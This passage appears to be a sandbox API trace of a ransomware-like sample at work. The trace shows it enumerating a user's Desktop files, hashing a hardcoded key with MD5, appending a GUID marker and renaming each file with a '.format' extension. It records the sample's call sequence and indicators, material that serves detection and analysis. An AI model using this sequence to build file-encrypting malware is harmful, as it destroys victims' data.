(HeapHandle=0x5d0000, Flags=0x0, Size=0x54) returned 0x3285c68 [0067.394] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31756e8 [0067.394] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abce8 [0067.394] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175aa8 | out: hHeap=0x5d0000) returned 1 [0067.394] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac128 | out: hHeap=0x5d0000) returned 1 [0067.394] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31befa0 | out: hHeap=0x5d0000) returned 1 [0067.394] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175aa8 [0067.394] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175490 | out: hHeap=0x5d0000) returned 1 [0067.394] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175760 | out: hHeap=0x5d0000) returned 1 [0067.394] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sun", cAlternateFileName="")) returned 0 [0067.394] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0067.394] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31830e8 | out: hHeap=0x5d0000) returned 1 [0067.394] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf30 | out: hHeap=0x5d0000) returned 1 [0067.394] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0067.394] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf30 [0067.394] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0067.394] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.395] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.395] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.395] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.395] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.395] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.395] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.395] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.395] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.395] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.395] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.395] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.395] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.395] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.395] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.395] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.395] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.395] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0067.395] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.395] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.395] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.395] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0067.395] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.395] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.395] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.395] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.395] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0067.395] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0067.395] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0067.395] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cf98 | out: hHeap=0x5d0000) returned 1 [0067.395] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf98 [0067.395] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.395] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0067.396] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175760 [0067.396] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0067.396] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.396] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0067.396] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xLckuuDeKXG\\") returned="xLckuuDeKXG\\" [0067.396] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eb88 [0067.396] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325da20 [0067.396] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="Desktop\\" [0067.396] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3286da0 [0067.396] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0067.396] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x31830e8 [0067.396] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0067.396] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0067.396] PathFindFileNameW (pszPath="") returned="" [0067.396] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.396] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xLckuuDeKXG\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa860f710, ftCreationTime.dwHighDateTime=0x1d4cc1a, ftLastAccessTime.dwLowDateTime=0x9885d7d0, ftLastAccessTime.dwHighDateTime=0x1d4ce9e, ftLastWriteTime.dwLowDateTime=0x9885d7d0, ftLastWriteTime.dwHighDateTime=0x1d4ce9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0067.396] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa860f710, ftCreationTime.dwHighDateTime=0x1d4cc1a, ftLastAccessTime.dwLowDateTime=0x9885d7d0, ftLastAccessTime.dwHighDateTime=0x1d4ce9e, ftLastWriteTime.dwLowDateTime=0x9885d7d0, ftLastWriteTime.dwHighDateTime=0x1d4ce9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.396] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c1a2ed0, ftCreationTime.dwHighDateTime=0x1d4c7d1, ftLastAccessTime.dwLowDateTime=0xaf358200, ftLastAccessTime.dwHighDateTime=0x1d4cc4b, ftLastWriteTime.dwLowDateTime=0xaf358200, ftLastWriteTime.dwHighDateTime=0x1d4cc4b, nFileSizeHigh=0x0, nFileSizeLow=0x12441, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="cU4HnKjcRa.mp4", cAlternateFileName="CU4HNK~1.MP4")) returned 1 [0067.396] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x3175490 [0067.396] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa6) returned 0x315d2d0 [0067.396] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xLckuuDeKXG\\cU4HnKjcRa.mp4") returned=".mp4" [0067.396] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xLckuuDeKXG\\cU4HnKjcRa.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xlckuudekxg\\cu4hnkjcra.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0067.397] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=74817) returned 1 [0067.397] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0067.399] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x1241b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.399] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0067.400] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eb88 [0067.400] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x12441, lpOverlapped=0x0) returned 1 [0067.401] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.401] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0067.401] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.401] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.401] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6ac128) returned 1 [0067.402] CryptCreateHash (in: hProv=0x6ac128, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0067.402] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0067.402] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0067.402] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0067.402] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0067.402] GetLastError () returned 0x0 [0067.402] CryptDestroyHash (hHash=0x31befa0) returned 1 [0067.402] CryptReleaseContext (hProv=0x6ac128, dwFlags=0x0) returned 1 [0067.402] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x12441, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.402] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cf30 [0067.402] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3289700 [0067.402] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3289700, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0067.403] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x32563b0 [0067.403] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0067.403] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0067.403] CloseHandle (hObject=0x5c8) returned 1 [0067.404] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x313ab18 [0067.404] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x890) returned 0x3178dd8 [0067.404] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xLckuuDeKXG\\cU4HnKjcRa.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xlckuudekxg\\cu4hnkjcra.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xLckuuDeKXG\\cU4HnKjcRa.mp4.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xlckuudekxg\\cu4hnkjcra.mp4.format")) returned 1 [0067.404] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.404] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0067.405] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x315d2d0 | out: hHeap=0x5d0000) returned 1 [0067.405] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1379c380, ftCreationTime.dwHighDateTime=0x1d4d51a, ftLastAccessTime.dwLowDateTime=0x8fa0a410, ftLastAccessTime.dwHighDateTime=0x1d4cbf6, ftLastWriteTime.dwLowDateTime=0x8fa0a410, ftLastWriteTime.dwHighDateTime=0x1d4cbf6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="K_xyj0OLm", cAlternateFileName="K_XYJ0~1")) returned 1 [0067.405] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa21d4d40, ftCreationTime.dwHighDateTime=0x1d4c611, ftLastAccessTime.dwLowDateTime=0x69f1d560, ftLastAccessTime.dwHighDateTime=0x1d4c9bf, ftLastWriteTime.dwLowDateTime=0x69f1d560, ftLastWriteTime.dwHighDateTime=0x1d4c9bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Q3tTjFbyLkyl", cAlternateFileName="Q3TTJF~1")) returned 1 [0067.405] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f2d8dc0, ftCreationTime.dwHighDateTime=0x1d4cecc, ftLastAccessTime.dwLowDateTime=0x406c3c00, ftLastAccessTime.dwHighDateTime=0x1d4c8c3, ftLastWriteTime.dwLowDateTime=0x406c3c00, ftLastWriteTime.dwHighDateTime=0x1d4c8c3, nFileSizeHigh=0x0, nFileSizeLow=0x8d00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wn06NIgti1n58uLcV.pptx", cAlternateFileName="WN06NI~1.PPT")) returned 1 [0067.405] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xLckuuDeKXG\\wn06NIgti1n58uLcV.pptx") returned=".pptx" [0067.405] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xLckuuDeKXG\\wn06NIgti1n58uLcV.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xlckuudekxg\\wn06nigti1n58ulcv.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0067.406] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=36096) returned 1 [0067.406] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0067.408] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x8cda, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.408] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0067.409] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x8d00, lpOverlapped=0x0) returned 1 [0067.409] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.409] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.409] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.409] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6ac128) returned 1 [0067.410] CryptCreateHash (in: hProv=0x6ac128, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0067.410] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0067.410] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0067.410] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0067.410] GetLastError () returned 0x0 [0067.410] CryptDestroyHash (hHash=0x31befa0) returned 1 [0067.410] CryptReleaseContext (hProv=0x6ac128, dwFlags=0x0) returned 1 [0067.410] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0067.410] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x8d00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.410] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0067.410] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0067.411] CloseHandle (hObject=0x5c8) returned 1 [0067.411] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xLckuuDeKXG\\wn06NIgti1n58uLcV.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xlckuudekxg\\wn06nigti1n58ulcv.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xLckuuDeKXG\\wn06NIgti1n58uLcV.pptx.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xlckuudekxg\\wn06nigti1n58ulcv.pptx.format")) returned 1 [0067.412] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.412] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0067.413] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x315db10 | out: hHeap=0x5d0000) returned 1 [0067.413] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28a3fbd0, ftCreationTime.dwHighDateTime=0x1d4c6b6, ftLastAccessTime.dwLowDateTime=0xd048f470, ftLastAccessTime.dwHighDateTime=0x1d4d0e4, ftLastWriteTime.dwLowDateTime=0xd048f470, ftLastWriteTime.dwHighDateTime=0x1d4d0e4, nFileSizeHigh=0x0, nFileSizeLow=0x82fc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_GY pjw8nLR.avi", cAlternateFileName="_GYPJW~1.AVI")) returned 1 [0067.413] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xLckuuDeKXG\\_GY pjw8nLR.avi") returned=".avi" [0067.413] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xLckuuDeKXG\\_GY pjw8nLR.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xlckuudekxg\\_gy pjw8nlr.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0067.413] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=33532) returned 1 [0067.413] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0067.416] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x82d6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.416] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0067.416] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x82fc, lpOverlapped=0x0) returned 1 [0067.417] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.417] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.417] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0067.417] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6ac128) returned 1 [0067.417] CryptCreateHash (in: hProv=0x6ac128, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0067.417] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0067.417] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0067.418] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0067.418] GetLastError () returned 0x0 [0067.418] CryptDestroyHash (hHash=0x31befa0) returned 1 [0067.418] CryptReleaseContext (hProv=0x6ac128, dwFlags=0x0) returned 1 [0067.418] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0067.418] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x82fc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0067.418] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0067.418] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0067.418] CloseHandle (hObject=0x5c8) returned 1 [0067.419] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xLckuuDeKXG\\_GY pjw8nLR.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xlckuudekxg\\_gy pjw8nlr.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xLckuuDeKXG\\_GY pjw8nLR.avi.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xlckuudekxg\\_gy pjw8nlr.avi.format")) returned 1 [0067.419] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0067.419] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0067.420] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x315db10 | out: hHeap=0x5d0000) returned 1 [0067.420] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28a3fbd0, ftCreationTime.dwHighDateTime=0x1d4c6b6, ftLastAccessTime.dwLowDateTime=0xd048f470, ftLastAccessTime.dwHighDateTime=0x1d4d0e4, ftLastWriteTime.dwLowDateTime=0xd048f470, ftLastWriteTime.dwHighDateTime=0x1d4d0e4, nFileSizeHigh=0x0, nFileSizeLow=0x82fc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_GY pjw8nLR.avi", cAlternateFileName="_GYPJW~1.AVI")) returned 0 [0067.420] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0067.420] 